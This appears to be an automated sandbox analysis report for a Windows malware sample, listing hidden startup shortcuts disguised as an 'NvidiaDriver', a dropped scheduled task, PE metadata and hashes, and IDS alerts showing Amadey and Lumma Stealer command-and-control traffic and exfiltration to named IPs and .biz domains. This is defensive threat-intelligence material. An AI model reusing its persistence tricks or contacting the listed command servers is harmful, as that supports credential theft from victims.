Preview:	L..................F...."...'S...I......I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_e7801b58c00345e5af02a481fc6970b6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:54 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.930848332744325
Encrypted:	false
SSDEEP:	24:8n2XOBetq43HR6JgKA5PK2TXAqmfmOKlNmN3EjkqyFm:82XOBetVRVf0qa0lECjtyF
MD5:	D09D0334FAFB2688A305F99619C6784D
SHA1:	293998B20CD977B812DBF69BE2C36F873012F8F8
SHA-256:	6F21384580A6BE0D2F2FC851076F0547E971978F847933B438FBF70483DEA7CA
SHA-512:	DC1CBA27DFB5F33833A440ACF9A3953155D67ECCD935E372F20989227AEDC51D82EDAC25DDD014EBA7C4BDD2D92C7107AAF712A64EC282DA0FF2068CF3BAC280
Malicious:	false
Preview:	L..................F...."...'S...I...,...I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_eb561c1a12034c2eb4d4d4327700c0ed.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:47 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.935898848810036
Encrypted:	false
SSDEEP:	24:8nTBetq43HR6JgKAGsK2TXAqmfmOKlNmN3EjkqyFm:8TBetVRbf0qa0lECjtyF
MD5:	999507487ABA5623464AA4C4B9BC0DA9
SHA1:	42B5FB85F8CD00995B66E5BC83414EA0B735346D
SHA-256:	4574D21F2B9838165690F0E9964C1DE4C5CE0FE93ED2B63725684F6D80ACD42D
SHA-512:	E638C37A6FCB2DEB031D96CB5B20B1CB06B065A00540690418698E6B53C1184E0BCCA795F1AB2A76F616A4357AC7A2B9272272FEF2FFE4E996DFC1319FAE56BD
Malicious:	false
Preview:	L..................F...."...'S...I..X.w..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_f7e0cbcf85e84f73b37791fc6a985ab9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:46 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.931820311690698
Encrypted:	false
SSDEEP:	24:8HeBetq43HR6JgKAGsK2TXAqmfmOKm3EjkqyFm:8+BetVRbf0qa0PjtyF
MD5:	F532C4761C18A0DA608E56DEE7677BA3
SHA1:	2BFA7866EE004FE99678456B0621EFF35F8491FB
SHA-256:	6F90FA2CFB411D11E9F3C973359B1D6788B17545150DE042645DCBFAF121D4A9
SHA-512:	B843B861CD13B483B8AA3B7387CDD8B4F6E336AE0745D4388B11522317956A88F38A07DB2AC4517A10D55555006645890431A85312E41D501744644C6B767B91
Malicious:	false
Preview:	L..................F...."...'S...I...U..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_fc0a8a6f5b474d09838b74de29eeb11f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:49 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.9332741278530134
Encrypted:	false
SSDEEP:	24:8nqVBetq43HR6JgKA5PK2TXAqmfmOKlNmN3EjkqyFm:8qVBetVRVf0qa0lECjtyF
MD5:	C8BD302FF4FCCF386B0FA929FE68B8A2
SHA1:	17B1B41853EDAF7AD9060139A7AE65FC7E9D1CDB
SHA-256:	21031EC67FDC9F456E28818DDCDCBE00E0A4DC8EEE40B40519E7CCAADF2C5A70
SHA-512:	3BEBA54126F3D261ACBBC3BDDDBA6FBF5CA24F2C25F8C71527C84BAFD13660732E3D378DBE2898FD4775F7BFB911746416EF3DB6539966E9316305658ED94AEC
Malicious:	false
Preview:	L..................F...."...'S...I..W>..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4136171436422327
Encrypted:	false
SSDEEP:	6:3PJGXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0l9t0:Wf2RKQ1CGAFAjzvYRQV9t0
MD5:	1BEA51EE713829CF09AFDE612589F668
SHA1:	F0BAD55C7EA3779A395162CD16854A104C4E5917
SHA-256:	6857367883DE180E38539C9A43761752CA6E0C477E0A3B5FB5E4F9083D869783
SHA-512:	E0B2BFB40D0E70A7FA16B3966AC4220EF00BC553666C56317097FF14FEF747DD8642B050C067C95973DD2BAA79D6907FDDE5AFE408E82DAE3D40AE18EA652EB2
Malicious:	false
Preview:	.........D.M.f.zWKX7F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	643
Entropy (8bit):	5.791324649098374
Encrypted:	false
SSDEEP:	12:NyjZ7S1/srSLxMd3Vso2eXfc+rHJK9CJmTyaHT0/Y+adNdnBuzMqYfn:NyF7s/sWKdlsxeZk4IT/0/Zwpf
MD5:	7B7CDE31791403E2D2BD6C2B125F677D
SHA1:	5F8F28E2BDFACCB51AE803697BE5670C625B0CFA
SHA-256:	7DCF2EB90BC52E2C2BEDFA99EA52A1B0AB27DC9E5EAF7A7B60FA087CEB738627
SHA-512:	152AC37D13F62FAFCAE99F87930DFC84AB951B20DEB3D8FC12E145A0FDECCF373FBAF393F9E2AC7371763C857399BADC16C53C51A95C042D8C12DDE90BDB65E9
Malicious:	false
Preview:	Main:..291328..@S.U^w{4..6683..=Z#xIf]>@)~9%..466..M`]rS#r60<pj_u1/n$>y..6958..D>l{..16121..A7@bgA:2]..10783..R+:EVfxpAOg?Tew..21169..fpRVp+g.mC$_!..2425..3%$S=cY?]..10607..CSRj1"J~l\|\XofaH..11499..b]~xPqLA#-iF..18153..9:d}\~(&"Ql]2XGgh..6552..&L1s5oL*m6K@z^Aj0pt..23467..2Pv4wYu4_V.L..24433..o$_unEBqat..15244..lilBTC>#~l?..15267.._6KE1W'T9-..5952..U"%zkE,.VJw..2181..<cs4@FXq@XYA..10766..REsources are loaded..Data got successfully..dosHeader..ntHeaders..AllocateMemoryForPE..imageSize..alignment..filemapping..!filemapping..imageBase..if imageBase..delta..CopyPESections..PerformRelocation..LoadImports..entryPoint..entryFunc..entryFunc()..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.655721818767042
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'296'768 bytes
MD5:	41f7104e635f418ec5a33d817b5324d9
SHA1:	7c9a3124d4bf236a560c6a865b0034f79a65f875
SHA256:	3301f21b0e9b43873293f712c6a8eccb7746c09207e0cedcfe836d060862c6f8
SHA512:	7dfd8e767be1b7904ff44b90cbc973a577f831db0dc81c44167838146a8912efe3631510fcf37451396206613419ca6d0fa0554a74af1764d50c056a3b66338e
SSDEEP:	49152:kVF+M26kfUw7yoxeBqOo7NjGOTIkets5JsE8p7OuEFWH:e4M26kfUwGoxeBqV7BVtZheKuEU
TLSH:	81E54A92B60AB1CBD4DE1BB98027CD8B991D43B5471148C7EC6CB479FD63EC212A6E34
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x725000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F62550F675Ah
cvttps2pi mm6, qword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x388	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x323ee0	0x10	fuapnweu
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x323e90	0x18	fuapnweu
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	ef7faa96a6bd68138326ac50c0d5a94b	False	0.5600609412560096	data	7.091531284941182	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x388	0x400	514f5782f497fa171df6168314823de0	False	0.453125	data	5.340697973950139	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fuapnweu	0x6b000	0x2b9000	0x2b9000	c19dd2e5c9427fac23ff7f1ccb3437ed	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sdiwzxtv	0x324000	0x1000	0x600	d2190141d2e6558bd754b682dfc835e9	False	0.5735677083333334	data	4.957286544382096	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x325000	0x3000	0x2200	a22fd1bd21ca9b3c60fe47ce0b20b47f	False	0.04779411764705882	DOS executable (COM)	0.7533920781300826	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x198	ASCII text, with CRLF line terminators			0.5808823529411765
RT_MANIFEST	0x69208	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-08T18:06:05.522349+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49753	185.215.113.43	80	TCP
2024-12-08T18:06:09.970923+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	31.41.244.11	80	TCP
2024-12-08T18:06:15.190263+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.4	51454	1.1.1.1	53	UDP
2024-12-08T18:06:15.649889+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49759	TCP
2024-12-08T18:06:16.984431+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49782	172.67.165.166	443	TCP
2024-12-08T18:06:16.984431+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49782	172.67.165.166	443	TCP
2024-12-08T18:06:17.241805+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49781	185.215.113.43	80	TCP
2024-12-08T18:06:17.744416+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49782	172.67.165.166	443	TCP
2024-12-08T18:06:17.744416+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49782	172.67.165.166	443	TCP
2024-12-08T18:06:19.035021+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49788	172.67.165.166	443	TCP
2024-12-08T18:06:19.035021+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49788	172.67.165.166	443	TCP
2024-12-08T18:06:19.936454+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49788	172.67.165.166	443	TCP
2024-12-08T18:06:19.936454+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49788	172.67.165.166	443	TCP
2024-12-08T18:06:21.479655+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49795	172.67.165.166	443	TCP
2024-12-08T18:06:21.479655+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49795	172.67.165.166	443	TCP
2024-12-08T18:06:23.869780+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49802	172.67.165.166	443	TCP
2024-12-08T18:06:23.869780+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49802	172.67.165.166	443	TCP
2024-12-08T18:06:26.419153+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49810	172.67.165.166	443	TCP
2024-12-08T18:06:26.419153+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49810	172.67.165.166	443	TCP
2024-12-08T18:06:29.112582+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49819	172.67.165.166	443	TCP
2024-12-08T18:06:29.112582+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49819	172.67.165.166	443	TCP
2024-12-08T18:06:29.860901+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49819	172.67.165.166	443	TCP
2024-12-08T18:06:31.476507+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49826	172.67.165.166	443	TCP
2024-12-08T18:06:31.476507+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49826	172.67.165.166	443	TCP
2024-12-08T18:06:35.143703+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.4	49834	172.67.165.166	443	TCP
2024-12-08T18:06:35.143703+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49834	172.67.165.166	443	TCP
2024-12-08T18:06:36.233362+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49834	172.67.165.166	443	TCP
2024-12-08T18:06:37.916093+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49845	104.21.9.168	443	TCP
2024-12-08T18:06:47.665769+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49868	104.21.9.168	443	TCP
2024-12-08T18:06:50.636415+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.4	59090	1.1.1.1	53	UDP
2024-12-08T18:06:50.636415+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.4	59090	1.1.1.1	53	UDP
2024-12-08T18:06:51.028330+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.4	58799	1.1.1.1	53	UDP
2024-12-08T18:06:51.028330+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.4	58799	1.1.1.1	53	UDP
2024-12-08T18:06:52.656290+0100	2057946	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.4	49886	104.21.81.153	443	TCP
2024-12-08T18:06:52.656290+0100	2057984	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.4	49886	104.21.81.153	443	TCP
2024-12-08T18:06:52.656290+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49886	104.21.81.153	443	TCP
2024-12-08T18:06:53.390663+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49886	104.21.81.153	443	TCP
2024-12-08T18:06:53.390663+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49886	104.21.81.153	443	TCP
2024-12-08T18:06:54.647885+0100	2057946	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.4	49893	104.21.81.153	443	TCP
2024-12-08T18:06:54.647885+0100	2057984	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.4	49893	104.21.81.153	443	TCP
2024-12-08T18:06:54.647885+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49893	104.21.81.153	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 18:06:04.058327913 CET	49753	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:04.177674055 CET	80	49753	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:04.177762032 CET	49753	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:04.177908897 CET	49753	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:04.298274040 CET	80	49753	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:05.522176027 CET	80	49753	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:05.522349119 CET	49753	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:07.032536030 CET	49753	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:07.039515972 CET	49759	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:07.152307987 CET	80	49753	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:07.152371883 CET	49753	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:07.158788919 CET	80	49759	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:07.158870935 CET	49759	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:07.159018040 CET	49759	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:07.278219938 CET	80	49759	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:08.502834082 CET	80	49759	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:08.502897978 CET	49759	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:08.506513119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:08.626455069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:08.626569986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:08.626698971 CET	49765	80	192.168.2.4	31.41.244.11
